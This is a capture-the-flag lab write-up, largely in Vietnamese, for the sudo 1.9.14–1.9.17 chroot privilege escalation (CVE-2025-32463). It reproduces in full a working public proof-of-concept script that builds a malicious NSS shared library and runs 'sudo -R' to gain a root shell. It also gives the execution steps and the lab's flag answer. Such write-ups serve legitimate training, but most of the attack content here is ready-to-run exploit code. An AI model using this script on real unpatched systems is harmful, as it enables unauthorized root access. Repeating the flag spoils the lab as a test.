Sudo 1.9.14 – 1.9.17 Local Privilege Escalation via chroot (CVE-2025-32463)
Question : Sudo is the standard Unix/Linux tool that lets ordinary users run specific commands with temporary root privileges while recording every action. In versions 1.9.14 through 1.9.17, a critical vulnerability (CVSS 9.3) in the —chroot (-R) option allows any local user to gain root access. The issue was fixed in 1.9.17p1, and the chroot option has been disabled. Using the low-privilege credentials, you must connect to the machine over SSH and escalate to root. (Because the box has no internet access, exploit files cannot be downloaded from the web; instead, transfer them via a local HTTP server over HackerBox/VPN, or use copy-and-paste.). SSH username: guest. SSH password: guest. SSH port: 22. What is the secret inside the /secret.txt file?
- Trước hết đề bài đã cho thông tin đăng nhập ssh của 1 user , mục tiêu của bài là đọc nội dung trong file /secret.txt (POC thì file này chỉ có root mới đọc được) .
- Đây là 1 bài lap về CVE-2025-32463 nên tôi tìm cái payload exploit trên github (In Here!) .
- Payload khai thác là 1 file script .sh có nội dung như sau :
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
if [ $# -eq 0 ]; then
# If no command is provided, default to an interactive root shell.
CMD="/bin/bash"
else
# Otherwise, use the provided arguments as the command to execute.
CMD="$@"
fi
# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
CVE-2025-32463 Biến user thành Root , lỗ hỏng sudo phiên bản 1.9.14 - 1.9.17 !
- Tôi tạo file nào trong thư mục tạm /tmp/Kai0Kid . sau đó tôi thêm quyền thực thi cho script .
nano k.sh
chmod +x k.sh
./k.sh
- Sau khi thực thi script thì tôi đã có quyền root và đọc nội dung file theo đề bài .
==> Đáp án là : Artemis.